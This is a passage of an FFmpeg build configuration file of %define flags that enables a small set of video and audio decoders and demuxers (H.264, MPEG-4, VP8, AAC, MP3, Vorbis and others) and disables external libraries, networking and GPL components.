%define CONFIG_LIBBS2B 0
%define CONFIG_LIBCACA 0
%define CONFIG_LIBCDIO 0
%define CONFIG_LIBCELT 0
%define CONFIG_LIBDC1394 0
%define CONFIG_LIBDCADEC 0
%define CONFIG_LIBFAAC 0
%define CONFIG_LIBFDK_AAC 0
%define CONFIG_LIBFLITE 0
%define CONFIG_LIBFONTCONFIG 0
%define CONFIG_LIBFREETYPE 0
%define CONFIG_LIBFRIBIDI 0
%define CONFIG_LIBGME 0
%define CONFIG_LIBGSM 0
%define CONFIG_LIBIEC61883 0
%define CONFIG_LIBILBC 0
%define CONFIG_LIBKVAZAAR 0
%define CONFIG_LIBMFX 0
%define CONFIG_LIBMODPLUG 0
%define CONFIG_LIBMP3LAME 0
%define CONFIG_LIBNUT 0
%define CONFIG_LIBOPENCORE_AMRNB 0
%define CONFIG_LIBOPENCORE_AMRWB 0
%define CONFIG_LIBOPENCV 0
%define CONFIG_LIBOPENH264 0
%define CONFIG_LIBOPENJPEG 0
%define CONFIG_LIBOPUS 0
%define CONFIG_LIBPULSE 0
%define CONFIG_LIBQUVI 0
%define CONFIG_LIBRTMP 0
%define CONFIG_LIBRUBBERBAND 0
%define CONFIG_LIBSCHROEDINGER 0
%define CONFIG_LIBSHINE 0
%define CONFIG_LIBSMBCLIENT 0
%define CONFIG_LIBSNAPPY 0
%define CONFIG_LIBSOXR 0
%define CONFIG_LIBSPEEX 0
%define CONFIG_LIBSSH 0
%define CONFIG_LIBTESSERACT 0
%define CONFIG_LIBTHEORA 0
%define CONFIG_LIBTWOLAME 0
%define CONFIG_LIBUTVIDEO 0
%define CONFIG_LIBV4L2 0
%define CONFIG_LIBVIDSTAB 0
%define CONFIG_LIBVO_AACENC 0
%define CONFIG_LIBVO_AMRWBENC 0
%define CONFIG_LIBVORBIS 0
%define CONFIG_LIBVPX 0
%define CONFIG_LIBWAVPACK 0
%define CONFIG_LIBWEBP 0
%define CONFIG_LIBX264 0
%define CONFIG_LIBX265 0
%define CONFIG_LIBXAVS 0
%define CONFIG_LIBXCB 0
%define CONFIG_LIBXCB_SHM 0
%define CONFIG_LIBXCB_SHAPE 0
%define CONFIG_LIBXCB_XFIXES 0
%define CONFIG_LIBXVID 0
%define CONFIG_LIBZIMG 0
%define CONFIG_LIBZMQ 0
%define CONFIG_LIBZVBI 0
%define CONFIG_LZMA 0
%define CONFIG_MMAL 0
%define CONFIG_NETCDF 0
%define CONFIG_NVENC 0
%define CONFIG_OPENAL 0
%define CONFIG_OPENCL 0
%define CONFIG_OPENGL 0
%define CONFIG_OPENSSL 0
%define CONFIG_SCHANNEL 0
%define CONFIG_SDL 0
%define CONFIG_SECURETRANSPORT 0
%define CONFIG_X11GRAB 0
%define CONFIG_XLIB 0
%define CONFIG_ZLIB 0
%define CONFIG_FTRAPV 0
%define CONFIG_GRAY 0
%define CONFIG_HARDCODED_TABLES 0
%define CONFIG_RUNTIME_CPUDETECT 1
%define CONFIG_SAFE_BITSTREAM_READER 1
%define CONFIG_SHARED 0
%define CONFIG_SMALL 0
%define CONFIG_STATIC 1
%define CONFIG_SWSCALE_ALPHA 1
%define CONFIG_D3D11VA 0
%define CONFIG_DXVA2 0
%define CONFIG_VAAPI 0
%define CONFIG_VDA 0
%define CONFIG_VDPAU 0
%define CONFIG_VIDEOTOOLBOX 0
%define CONFIG_XVMC 0
%define CONFIG_GPL 0
%define CONFIG_NONFREE 0
%define CONFIG_VERSION3 0
%define CONFIG_AVCODEC 1
%define CONFIG_AVDEVICE 0
%define CONFIG_AVFILTER 0
%define CONFIG_AVFORMAT 1
%define CONFIG_AVRESAMPLE 0
%define CONFIG_AVUTIL 1
%define CONFIG_POSTPROC 0
%define CONFIG_SWRESAMPLE 0
%define CONFIG_SWSCALE 0
%define CONFIG_FFPLAY 0
%define CONFIG_FFPROBE 0
%define CONFIG_FFSERVER 0
%define CONFIG_FFMPEG 0
%define CONFIG_DCT 1
%define CONFIG_DWT 0
%define CONFIG_ERROR_RESILIENCE 1
%define CONFIG_FAAN 1
%define CONFIG_FAST_UNALIGNED 1
%define CONFIG_FFT 1
%define CONFIG_LSP 1
%define CONFIG_LZO 0
%define CONFIG_MDCT 1
%define CONFIG_PIXELUTILS 0
%define CONFIG_NETWORK 0
%define CONFIG_RDFT 1
%define CONFIG_FONTCONFIG 0
%define CONFIG_INCOMPATIBLE_LIBAV_ABI 0
%define CONFIG_MEMALIGN_HACK 0
%define CONFIG_MEMORY_POISONING 0
%define CONFIG_NEON_CLOBBER_TEST 0
%define CONFIG_PIC 1
%define CONFIG_POD2MAN 1
%define CONFIG_RAISE_MAJOR 0
%define CONFIG_THUMB 0
%define CONFIG_VALGRIND_BACKTRACE 0
%define CONFIG_XMM_CLOBBER_TEST 0
%define CONFIG_AANDCTTABLES 0
%define CONFIG_AC3DSP 0
%define CONFIG_AUDIO_FRAME_QUEUE 0
%define CONFIG_AUDIODSP 0
%define CONFIG_BLOCKDSP 1
%define CONFIG_BSWAPDSP 0
%define CONFIG_CABAC 1
%define CONFIG_DIRAC_PARSE 1
%define CONFIG_DVPROFILE 0
%define CONFIG_EXIF 1
%define CONFIG_FAANDCT 1
%define CONFIG_FAANIDCT 1
%define CONFIG_FDCTDSP 1
%define CONFIG_FLACDSP 1
%define CONFIG_FMTCONVERT 0
%define CONFIG_FRAME_THREAD_ENCODER 0
%define CONFIG_G722DSP 0
%define CONFIG_GOLOMB 1
%define CONFIG_GPLV3 0
%define CONFIG_H263DSP 1
%define CONFIG_H264CHROMA 1
%define CONFIG_H264DSP 1
%define CONFIG_H264PRED 1
%define CONFIG_H264QPEL 1
%define CONFIG_HPELDSP 1
%define CONFIG_HUFFMAN 0
%define CONFIG_HUFFYUVDSP 0
%define CONFIG_HUFFYUVENCDSP 0
%define CONFIG_IDCTDSP 1
%define CONFIG_IIRFILTER 0
%define CONFIG_IMDCT15 1
%define CONFIG_INTRAX8 0
%define CONFIG_IVIDSP 0
%define CONFIG_JPEGTABLES 0
%define CONFIG_LIBX262 0
%define CONFIG_LGPLV3 0
%define CONFIG_LLAUDDSP 0
%define CONFIG_LLVIDDSP 0
%define CONFIG_LPC 0
%define CONFIG_LZF 0
%define CONFIG_ME_CMP 1
%define CONFIG_MPEG_ER 1
%define CONFIG_MPEGAUDIO 1
%define CONFIG_MPEGAUDIODSP 1
%define CONFIG_MPEGVIDEO 1
%define CONFIG_MPEGVIDEOENC 0
%define CONFIG_MSS34DSP 0
%define CONFIG_PIXBLOCKDSP 1
%define CONFIG_QPELDSP 1
%define CONFIG_QSV 0
%define CONFIG_QSVDEC 0
%define CONFIG_QSVENC 0
%define CONFIG_RANGECODER 0
%define CONFIG_RIFFDEC 1
%define CONFIG_RIFFENC 0
%define CONFIG_RTPDEC 0
%define CONFIG_RTPENC_CHAIN 0
%define CONFIG_RV34DSP 0
%define CONFIG_SINEWIN 1
%define CONFIG_SNAPPY 0
%define CONFIG_STARTCODE 1
%define CONFIG_TEXTUREDSP 0
%define CONFIG_TEXTUREDSPENC 0
%define CONFIG_TPELDSP 0
%define CONFIG_VIDEODSP 1
%define CONFIG_VP3DSP 1
%define CONFIG_VP56DSP 0
%define CONFIG_VP8DSP 1
%define CONFIG_WMA_FREQS 0
%define CONFIG_WMV2DSP 0
%define CONFIG_AAC_ADTSTOASC_BSF 0
%define CONFIG_CHOMP_BSF 0
%define CONFIG_DUMP_EXTRADATA_BSF 0
%define CONFIG_H264_MP4TOANNEXB_BSF 0
%define CONFIG_HEVC_MP4TOANNEXB_BSF 0
%define CONFIG_IMX_DUMP_HEADER_BSF 0
%define CONFIG_MJPEG2JPEG_BSF 0
%define CONFIG_MJPEGA_DUMP_HEADER_BSF 0
%define CONFIG_MP3_HEADER_DECOMPRESS_BSF 0
%define CONFIG_MPEG4_UNPACK_BFRAMES_BSF 0
%define CONFIG_MOV2TEXTSUB_BSF 0
%define CONFIG_NOISE_BSF 0
%define CONFIG_REMOVE_EXTRADATA_BSF 0
%define CONFIG_TEXT2MOVSUB_BSF 0
%define CONFIG_AASC_DECODER 0
%define CONFIG_AIC_DECODER 0
%define CONFIG_ALIAS_PIX_DECODER 0
%define CONFIG_AMV_DECODER 0
%define CONFIG_ANM_DECODER 0
%define CONFIG_ANSI_DECODER 0
%define CONFIG_APNG_DECODER 0
%define CONFIG_ASV1_DECODER 0
%define CONFIG_ASV2_DECODER 0
%define CONFIG_AURA_DECODER 0
%define CONFIG_AURA2_DECODER 0
%define CONFIG_AVRP_DECODER 0
%define CONFIG_AVRN_DECODER 0
%define CONFIG_AVS_DECODER 0
%define CONFIG_AVUI_DECODER 0
%define CONFIG_AYUV_DECODER 0
%define CONFIG_BETHSOFTVID_DECODER 0
%define CONFIG_BFI_DECODER 0
%define CONFIG_BINK_DECODER 0
%define CONFIG_BMP_DECODER 0
%define CONFIG_BMV_VIDEO_DECODER 0
%define CONFIG_BRENDER_PIX_DECODER 0
%define CONFIG_C93_DECODER 0
%define CONFIG_CAVS_DECODER 0
%define CONFIG_CDGRAPHICS_DECODER 0
%define CONFIG_CDXL_DECODER 0
%define CONFIG_CINEPAK_DECODER 0
%define CONFIG_CLJR_DECODER 0
%define CONFIG_CLLC_DECODER 0
%define CONFIG_COMFORTNOISE_DECODER 0
%define CONFIG_CPIA_DECODER 0
%define CONFIG_CSCD_DECODER 0
%define CONFIG_CYUV_DECODER 0
%define CONFIG_DDS_DECODER 0
%define CONFIG_DFA_DECODER 0
%define CONFIG_DIRAC_DECODER 0
%define CONFIG_DNXHD_DECODER 0
%define CONFIG_DPX_DECODER 0
%define CONFIG_DSICINVIDEO_DECODER 0
%define CONFIG_DVVIDEO_DECODER 0
%define CONFIG_DXA_DECODER 0
%define CONFIG_DXTORY_DECODER 0
%define CONFIG_DXV_DECODER 0
%define CONFIG_EACMV_DECODER 0
%define CONFIG_EAMAD_DECODER 0
%define CONFIG_EATGQ_DECODER 0
%define CONFIG_EATGV_DECODER 0
%define CONFIG_EATQI_DECODER 0
%define CONFIG_EIGHTBPS_DECODER 0
%define CONFIG_EIGHTSVX_EXP_DECODER 0
%define CONFIG_EIGHTSVX_FIB_DECODER 0
%define CONFIG_ESCAPE124_DECODER 0
%define CONFIG_ESCAPE130_DECODER 0
%define CONFIG_EXR_DECODER 0
%define CONFIG_FFV1_DECODER 0
%define CONFIG_FFVHUFF_DECODER 0
%define CONFIG_FIC_DECODER 0
%define CONFIG_FLASHSV_DECODER 0
%define CONFIG_FLASHSV2_DECODER 0
%define CONFIG_FLIC_DECODER 0
%define CONFIG_FLV_DECODER 0
%define CONFIG_FOURXM_DECODER 0
%define CONFIG_FRAPS_DECODER 0
%define CONFIG_FRWU_DECODER 0
%define CONFIG_G2M_DECODER 0
%define CONFIG_GIF_DECODER 0
%define CONFIG_H261_DECODER 0
%define CONFIG_H263_DECODER 1
%define CONFIG_H263I_DECODER 0
%define CONFIG_H263P_DECODER 0
%define CONFIG_H264_DECODER 1
%define CONFIG_H264_CRYSTALHD_DECODER 0
%define CONFIG_H264_MMAL_DECODER 0
%define CONFIG_H264_QSV_DECODER 0
%define CONFIG_H264_VDA_DECODER 0
%define CONFIG_H264_VDPAU_DECODER 0
%define CONFIG_HAP_DECODER 0
%define CONFIG_HEVC_DECODER 0
%define CONFIG_HEVC_QSV_DECODER 0
%define CONFIG_HNM4_VIDEO_DECODER 0
%define CONFIG_HQ_HQA_DECODER 0
%define CONFIG_HQX_DECODER 0
%define CONFIG_HUFFYUV_DECODER 0
%define CONFIG_IDCIN_DECODER 0
%define CONFIG_IFF_ILBM_DECODER 0
%define CONFIG_INDEO2_DECODER 0
%define CONFIG_INDEO3_DECODER 0
%define CONFIG_INDEO4_DECODER 0
%define CONFIG_INDEO5_DECODER 0
%define CONFIG_INTERPLAY_VIDEO_DECODER 0
%define CONFIG_JPEG2000_DECODER 0
%define CONFIG_JPEGLS_DECODER 0
%define CONFIG_JV_DECODER 0
%define CONFIG_KGV1_DECODER 0
%define CONFIG_KMVC_DECODER 0
%define CONFIG_LAGARITH_DECODER 0
%define CONFIG_LOCO_DECODER 0
%define CONFIG_MDEC_DECODER 0
%define CONFIG_MIMIC_DECODER 0
%define CONFIG_MJPEG_DECODER 0
%define CONFIG_MJPEGB_DECODER 0
%define CONFIG_MMVIDEO_DECODER 0
%define CONFIG_MOTIONPIXELS_DECODER 0
%define CONFIG_MPEG_XVMC_DECODER 0
%define CONFIG_MPEG1VIDEO_DECODER 0
%define CONFIG_MPEG2VIDEO_DECODER 0
%define CONFIG_MPEG4_DECODER 1
%define CONFIG_MPEG4_CRYSTALHD_DECODER 0
%define CONFIG_MPEG4_VDPAU_DECODER 0
%define CONFIG_MPEGVIDEO_DECODER 0
%define CONFIG_MPEG_VDPAU_DECODER 0
%define CONFIG_MPEG1_VDPAU_DECODER 0
%define CONFIG_MPEG2_MMAL_DECODER 0
%define CONFIG_MPEG2_CRYSTALHD_DECODER 0
%define CONFIG_MPEG2_QSV_DECODER 0
%define CONFIG_MSA1_DECODER 0
%define CONFIG_MSMPEG4_CRYSTALHD_DECODER 0
%define CONFIG_MSMPEG4V1_DECODER 0
%define CONFIG_MSMPEG4V2_DECODER 0
%define CONFIG_MSMPEG4V3_DECODER 0
%define CONFIG_MSRLE_DECODER 0
%define CONFIG_MSS1_DECODER 0
%define CONFIG_MSS2_DECODER 0
%define CONFIG_MSVIDEO1_DECODER 0
%define CONFIG_MSZH_DECODER 0
%define CONFIG_MTS2_DECODER 0
%define CONFIG_MVC1_DECODER 0
%define CONFIG_MVC2_DECODER 0
%define CONFIG_MXPEG_DECODER 0
%define CONFIG_NUV_DECODER 0
%define CONFIG_PAF_VIDEO_DECODER 0
%define CONFIG_PAM_DECODER 0
%define CONFIG_PBM_DECODER 0
%define CONFIG_PCX_DECODER 0
%define CONFIG_PGM_DECODER 0
%define CONFIG_PGMYUV_DECODER 0
%define CONFIG_PICTOR_DECODER 0
%define CONFIG_PNG_DECODER 0
%define CONFIG_PPM_DECODER 0
%define CONFIG_PRORES_DECODER 0
%define CONFIG_PRORES_LGPL_DECODER 0
%define CONFIG_PTX_DECODER 0
%define CONFIG_QDRAW_DECODER 0
%define CONFIG_QPEG_DECODER 0
%define CONFIG_QTRLE_DECODER 0
%define CONFIG_R10K_DECODER 0
%define CONFIG_R210_DECODER 0
%define CONFIG_RAWVIDEO_DECODER 0
%define CONFIG_RL2_DECODER 0
%define CONFIG_ROQ_DECODER 0
%define CONFIG_RPZA_DECODER 0
%define CONFIG_RSCC_DECODER 0
%define CONFIG_RV10_DECODER 0
%define CONFIG_RV20_DECODER 0
%define CONFIG_RV30_DECODER 0
%define CONFIG_RV40_DECODER 0
%define CONFIG_S302M_DECODER 0
%define CONFIG_SANM_DECODER 0
%define CONFIG_SCREENPRESSO_DECODER 0
%define CONFIG_SDX2_DPCM_DECODER 0
%define CONFIG_SGI_DECODER 0
%define CONFIG_SGIRLE_DECODER 0
%define CONFIG_SMACKER_DECODER 0
%define CONFIG_SMC_DECODER 0
%define CONFIG_SMVJPEG_DECODER 0
%define CONFIG_SNOW_DECODER 0
%define CONFIG_SP5X_DECODER 0
%define CONFIG_SUNRAST_DECODER 0
%define CONFIG_SVQ1_DECODER 0
%define CONFIG_SVQ3_DECODER 0
%define CONFIG_TARGA_DECODER 0
%define CONFIG_TARGA_Y216_DECODER 0
%define CONFIG_TDSC_DECODER 0
%define CONFIG_THEORA_DECODER 1
%define CONFIG_THP_DECODER 0
%define CONFIG_TIERTEXSEQVIDEO_DECODER 0
%define CONFIG_TIFF_DECODER 0
%define CONFIG_TMV_DECODER 0
%define CONFIG_TRUEMOTION1_DECODER 0
%define CONFIG_TRUEMOTION2_DECODER 0
%define CONFIG_TSCC_DECODER 0
%define CONFIG_TSCC2_DECODER 0
%define CONFIG_TXD_DECODER 0
%define CONFIG_ULTI_DECODER 0
%define CONFIG_UTVIDEO_DECODER 0
%define CONFIG_V210_DECODER 0
%define CONFIG_V210X_DECODER 0
%define CONFIG_V308_DECODER 0
%define CONFIG_V408_DECODER 0
%define CONFIG_V410_DECODER 0
%define CONFIG_VB_DECODER 0
%define CONFIG_VBLE_DECODER 0
%define CONFIG_VC1_DECODER 0
%define CONFIG_VC1_CRYSTALHD_DECODER 0
%define CONFIG_VC1_VDPAU_DECODER 0
%define CONFIG_VC1IMAGE_DECODER 0
%define CONFIG_VC1_MMAL_DECODER 0
%define CONFIG_VC1_QSV_DECODER 0
%define CONFIG_VCR1_DECODER 0
%define CONFIG_VMDVIDEO_DECODER 0
%define CONFIG_VMNC_DECODER 0
%define CONFIG_VP3_DECODER 1
%define CONFIG_VP5_DECODER 0
%define CONFIG_VP6_DECODER 0
%define CONFIG_VP6A_DECODER 0
%define CONFIG_VP6F_DECODER 0
%define CONFIG_VP7_DECODER 0
%define CONFIG_VP8_DECODER 1
%define CONFIG_VP9_DECODER 0
%define CONFIG_VQA_DECODER 0
%define CONFIG_WEBP_DECODER 0
%define CONFIG_WMV1_DECODER 0
%define CONFIG_WMV2_DECODER 0
%define CONFIG_WMV3_DECODER 0
%define CONFIG_WMV3_CRYSTALHD_DECODER 0
%define CONFIG_WMV3_VDPAU_DECODER 0
%define CONFIG_WMV3IMAGE_DECODER 0
%define CONFIG_WNV1_DECODER 0
%define CONFIG_XAN_WC3_DECODER 0
%define CONFIG_XAN_WC4_DECODER 0
%define CONFIG_XBM_DECODER 0
%define CONFIG_XFACE_DECODER 0
%define CONFIG_XL_DECODER 0
%define CONFIG_XWD_DECODER 0
%define CONFIG_Y41P_DECODER 0
%define CONFIG_YOP_DECODER 0
%define CONFIG_YUV4_DECODER 0
%define CONFIG_ZERO12V_DECODER 0
%define CONFIG_ZEROCODEC_DECODER 0
%define CONFIG_ZLIB_DECODER 0
%define CONFIG_ZMBV_DECODER 0
%define CONFIG_AAC_DECODER 1
%define CONFIG_AAC_FIXED_DECODER 0
%define CONFIG_AAC_LATM_DECODER 0
%define CONFIG_AC3_DECODER 0
%define CONFIG_AC3_FIXED_DECODER 0
%define CONFIG_ALAC_DECODER 0
%define CONFIG_ALS_DECODER 0
%define CONFIG_AMRNB_DECODER 1
%define CONFIG_AMRWB_DECODER 1
%define CONFIG_APE_DECODER 0
%define CONFIG_ATRAC1_DECODER 0
%define CONFIG_ATRAC3_DECODER 0
%define CONFIG_ATRAC3P_DECODER 0
%define CONFIG_BINKAUDIO_DCT_DECODER 0
%define CONFIG_BINKAUDIO_RDFT_DECODER 0
%define CONFIG_BMV_AUDIO_DECODER 0
%define CONFIG_COOK_DECODER 0
%define CONFIG_DCA_DECODER 0
%define CONFIG_DSD_LSBF_DECODER 0
%define CONFIG_DSD_MSBF_DECODER 0
%define CONFIG_DSD_LSBF_PLANAR_DECODER 0
%define CONFIG_DSD_MSBF_PLANAR_DECODER 0
%define CONFIG_DSICINAUDIO_DECODER 0
%define CONFIG_DSS_SP_DECODER 0
%define CONFIG_EAC3_DECODER 0
%define CONFIG_EVRC_DECODER 0
%define CONFIG_FFWAVESYNTH_DECODER 0
%define CONFIG_FLAC_DECODER 1
%define CONFIG_G723_1_DECODER 0
%define CONFIG_G729_DECODER 0
%define CONFIG_GSM_DECODER 0
%define CONFIG_GSM_MS_DECODER 1
%define CONFIG_IAC_DECODER 0
%define CONFIG_IMC_DECODER 0
%define CONFIG_INTERPLAY_ACM_DECODER 0
%define CONFIG_MACE3_DECODER 0
%define CONFIG_MACE6_DECODER 0
%define CONFIG_METASOUND_DECODER 0
%define CONFIG_MLP_DECODER 0
%define CONFIG_MP1_DECODER 0
%define CONFIG_MP1FLOAT_DECODER 0
%define CONFIG_MP2_DECODER 0
%define CONFIG_MP2FLOAT_DECODER 0
%define CONFIG_MP3_DECODER 1
%define CONFIG_MP3FLOAT_DECODER 0
%define CONFIG_MP3ADU_DECODER 0
%define CONFIG_MP3ADUFLOAT_DECODER 0
%define CONFIG_MP3ON4_DECODER 0
%define CONFIG_MP3ON4FLOAT_DECODER 0
%define CONFIG_MPC7_DECODER 0
%define CONFIG_MPC8_DECODER 0
%define CONFIG_NELLYMOSER_DECODER 0
%define CONFIG_ON2AVC_DECODER 0
%define CONFIG_OPUS_DECODER 0
%define CONFIG_PAF_AUDIO_DECODER 0
%define CONFIG_QCELP_DECODER 0
%define CONFIG_QDM2_DECODER 0
%define CONFIG_RA_144_DECODER 0
%define CONFIG_RA_288_DECODER 0
%define CONFIG_RALF_DECODER 0
%define CONFIG_SHORTEN_DECODER 0
%define CONFIG_SIPR_DECODER 0
%define CONFIG_SMACKAUD_DECODER 0
%define CONFIG_SONIC_DECODER 0
%define CONFIG_TAK_DECODER 0
%define CONFIG_TRUEHD_DECODER 0
%define CONFIG_TRUESPEECH_DECODER 0
%define CONFIG_TTA_DECODER 0
%define CONFIG_TWINVQ_DECODER 0
%define CONFIG_VMDAUDIO_DECODER 0
%define CONFIG_VORBIS_DECODER 1
%define CONFIG_WAVPACK_DECODER 0
%define CONFIG_WMALOSSLESS_DECODER 0
%define CONFIG_WMAPRO_DECODER 0
%define CONFIG_WMAV1_DECODER 0
%define CONFIG_WMAV2_DECODER 0
%define CONFIG_WMAVOICE_DECODER 0
%define CONFIG_WS_SND1_DECODER 0
%define CONFIG_XMA1_DECODER 0
%define CONFIG_XMA2_DECODER 0
%define CONFIG_PCM_ALAW_DECODER 1
%define CONFIG_PCM_BLURAY_DECODER 0
%define CONFIG_PCM_DVD_DECODER 0
%define CONFIG_PCM_F32BE_DECODER 0
%define CONFIG_PCM_F32LE_DECODER 1
%define CONFIG_PCM_F64BE_DECODER 0
%define CONFIG_PCM_F64LE_DECODER 0
%define CONFIG_PCM_LXF_DECODER 0
%define CONFIG_PCM_MULAW_DECODER 1
%define CONFIG_PCM_S8_DECODER 0
%define CONFIG_PCM_S8_PLANAR_DECODER 0
%define CONFIG_PCM_S16BE_DECODER 1
%define CONFIG_PCM_S16BE_PLANAR_DECODER 0
%define CONFIG_PCM_S16LE_DECODER 1
%define CONFIG_PCM_S16LE_PLANAR_DECODER 0
%define CONFIG_PCM_S24BE_DECODER 1
%define CONFIG_PCM_S24DAUD_DECODER 0
%define CONFIG_PCM_S24LE_DECODER 1
%define CONFIG_PCM_S24LE_PLANAR_DECODER 0
%define CONFIG_PCM_S32BE_DECODER 0
%define CONFIG_PCM_S32LE_DECODER 1
%define CONFIG_PCM_S32LE_PLANAR_DECODER 0
%define CONFIG_PCM_U8_DECODER 1
%define CONFIG_PCM_U16BE_DECODER 0
%define CONFIG_PCM_U16LE_DECODER 0
%define CONFIG_PCM_U24BE_DECODER 0
%define CONFIG_PCM_U24LE_DECODER 0
%define CONFIG_PCM_U32BE_DECODER 0
%define CONFIG_PCM_U32LE_DECODER 0
%define CONFIG_PCM_ZORK_DECODER 0
%define CONFIG_INTERPLAY_DPCM_DECODER 0
%define CONFIG_ROQ_DPCM_DECODER 0
%define CONFIG_SOL_DPCM_DECODER 0
%define CONFIG_XAN_DPCM_DECODER 0
%define CONFIG_ADPCM_4XM_DECODER 0
%define CONFIG_ADPCM_ADX_DECODER 0
%define CONFIG_ADPCM_AFC_DECODER 0
%define CONFIG_ADPCM_AICA_DECODER 0
%define CONFIG_ADPCM_CT_DECODER 0
%define CONFIG_ADPCM_DTK_DECODER 0
%define CONFIG_ADPCM_EA_DECODER 0
%define CONFIG_ADPCM_EA_MAXIS_XA_DECODER 0
%define CONFIG_ADPCM_EA_R1_DECODER 0
%define CONFIG_ADPCM_EA_R2_DECODER 0
%define CONFIG_ADPCM_EA_R3_DECODER 0
%define CONFIG_ADPCM_EA_XAS_DECODER 0
%define CONFIG_ADPCM_G722_DECODER 0
%define CONFIG_ADPCM_G726_DECODER 0
%define CONFIG_ADPCM_G726LE_DECODER 0
%define CONFIG_ADPCM_IMA_AMV_DECODER 0
%define CONFIG_ADPCM_IMA_APC_DECODER 0
%define CONFIG_ADPCM_IMA_DK3_DECODER 0
%define CONFIG_ADPCM_IMA_DK4_DECODER 0
%define CONFIG_ADPCM_IMA_EA_EACS_DECODER 0
%define CONFIG_ADPCM_IMA_EA_SEAD_DECODER 0
%define CONFIG_ADPCM_IMA_ISS_DECODER 0
%define CONFIG_ADPCM_IMA_OKI_DECODER 0
%define CONFIG_ADPCM_IMA_QT_DECODER 0
%define CONFIG_ADPCM_IMA_RAD_DECODER 0
%define CONFIG_ADPCM_IMA_SMJPEG_DECODER 0
%define CONFIG_ADPCM_IMA_WAV_DECODER 0
%define CONFIG_ADPCM_IMA_WS_DECODER 0
%define CONFIG_ADPCM_MS_DECODER 0
%define CONFIG_ADPCM_PSX_DECODER 0
%define CONFIG_ADPCM_SBPRO_2_DECODER 0
%define CONFIG_ADPCM_SBPRO_3_DECODER 0
%define CONFIG_ADPCM_SBPRO_4_DECODER 0
%define CONFIG_ADPCM_SWF_DECODER 0
%define CONFIG_ADPCM_THP_DECODER 0
%define CONFIG_ADPCM_THP_LE_DECODER 0
%define CONFIG_ADPCM_VIMA_DECODER 0
%define CONFIG_ADPCM_XA_DECODER 0
%define CONFIG_ADPCM_YAMAHA_DECODER 0
%define CONFIG_SSA_DECODER 0
%define CONFIG_ASS_DECODER 0
%define CONFIG_CCAPTION_DECODER 0
%define CONFIG_DVBSUB_DECODER 0
%define CONFIG_DVDSUB_DECODER 0
%define CONFIG_JACOSUB_DECODER 0
%define CONFIG_MICRODVD_DECODER 0
%define CONFIG_MOVTEXT_DECODER 0
%define CONFIG_MPL2_DECODER 0
%define CONFIG_PGSSUB_DECODER 0
%define CONFIG_PJS_DECODER 0
%define CONFIG_REALTEXT_DECODER 0
%define CONFIG_SAMI_DECODER 0
%define CONFIG_SRT_DECODER 0
%define CONFIG_STL_DECODER 0
%define CONFIG_SUBRIP_DECODER 0
%define CONFIG_SUBVIEWER_DECODER 0
%define CONFIG_SUBVIEWER1_DECODER 0
%define CONFIG_TEXT_DECODER 0
%define CONFIG_VPLAYER_DECODER 0
%define CONFIG_WEBVTT_DECODER 0
%define CONFIG_XSUB_DECODER 0
%define CONFIG_LIBCELT_DECODER 0
%define CONFIG_LIBDCADEC_DECODER 0
%define CONFIG_LIBFDK_AAC_DECODER 0
%define CONFIG_LIBGSM_DECODER 0
%define CONFIG_LIBGSM_MS_DECODER 0
%define CONFIG_LIBILBC_DECODER 0
%define CONFIG_LIBOPENCORE_AMRNB_DECODER 0
%define CONFIG_LIBOPENCORE_AMRWB_DECODER 0
%define CONFIG_LIBOPENJPEG_DECODER 0
%define CONFIG_LIBOPUS_DECODER 0
%define CONFIG_LIBSCHROEDINGER_DECODER 0
%define CONFIG_LIBSPEEX_DECODER 0
%define CONFIG_LIBUTVIDEO_DECODER 0
%define CONFIG_LIBVORBIS_DECODER 0
%define CONFIG_LIBVPX_VP8_DECODER 0
%define CONFIG_LIBVPX_VP9_DECODER 0
%define CONFIG_LIBZVBI_TELETEXT_DECODER 0
%define CONFIG_BINTEXT_DECODER 0
%define CONFIG_XBIN_DECODER 0
%define CONFIG_IDF_DECODER 0
%define CONFIG_AA_DEMUXER 0
%define CONFIG_AAC_DEMUXER 1
%define CONFIG_AC3_DEMUXER 0
%define CONFIG_ACM_DEMUXER 0
%define CONFIG_ACT_DEMUXER 0
%define CONFIG_ADF_DEMUXER 0
%define CONFIG_ADP_DEMUXER 0
%define CONFIG_ADS_DEMUXER 0
%define CONFIG_ADX_DEMUXER 0
%define CONFIG_AEA_DEMUXER 0
%define CONFIG_AFC_DEMUXER 0
%define CONFIG_AIFF_DEMUXER 0
%define CONFIG_AMR_DEMUXER 1
%define CONFIG_ANM_DEMUXER 0
%define CONFIG_APC_DEMUXER 0
%define CONFIG_APE_DEMUXER 0
%define CONFIG_APNG_DEMUXER 0
%define CONFIG_AQTITLE_DEMUXER 0
%define CONFIG_ASF_DEMUXER 0
%define CONFIG_ASF_O_DEMUXER 0
%define CONFIG_ASS_DEMUXER 0
%define CONFIG_AST_DEMUXER 0
%define CONFIG_AU_DEMUXER 0
%define CONFIG_AVI_DEMUXER 1
%define CONFIG_AVISYNTH_DEMUXER 0
%define CONFIG_AVR_DEMUXER 0
%define CONFIG_AVS_DEMUXER 0
%define CONFIG_BETHSOFTVID_DEMUXER 0
%define CONFIG_BFI_DEMUXER 0
%define CONFIG_BINTEXT_DEMUXER 0
%define CONFIG_BINK_DEMUXER 0
%define CONFIG_BIT_DEMUXER 0
%define CONFIG_BMV_DEMUXER 0
%define CONFIG_BFSTM_DEMUXER 0
%define CONFIG_BRSTM_DEMUXER 0
%define CONFIG_BOA_DEMUXER 0
%define CONFIG_C93_DEMUXER 0
%define CONFIG_CAF_DEMUXER 0
%define CONFIG_CAVSVIDEO_DEMUXER 0
%define CONFIG_CDG_DEMUXER 0
%define CONFIG_CDXL_DEMUXER 0
%define CONFIG_CINE_DEMUXER 0
%define CONFIG_CONCAT_DEMUXER 0
%define CONFIG_DATA_DEMUXER 0
%define CONFIG_DAUD_DEMUXER 0
%define CONFIG_DCSTR_DEMUXER 0
%define CONFIG_DFA_DEMUXER 0
%define CONFIG_DIRAC_DEMUXER 0
%define CONFIG_DNXHD_DEMUXER 0
%define CONFIG_DSF_DEMUXER 0
%define CONFIG_DSICIN_DEMUXER 0
%define CONFIG_DSS_DEMUXER 0
%define CONFIG_DTS_DEMUXER 0
%define CONFIG_DTSHD_DEMUXER 0
%define CONFIG_DV_DEMUXER 0
%define CONFIG_DVBSUB_DEMUXER 0
%define CONFIG_DXA_DEMUXER 0
%define CONFIG_EA_DEMUXER 0
%define CONFIG_EA_CDATA_DEMUXER 0
%define CONFIG_EAC3_DEMUXER 0
%define CONFIG_EPAF_DEMUXER 0
%define CONFIG_FFM_DEMUXER 0
%define CONFIG_FFMETADATA_DEMUXER 0
%define CONFIG_FILMSTRIP_DEMUXER 0
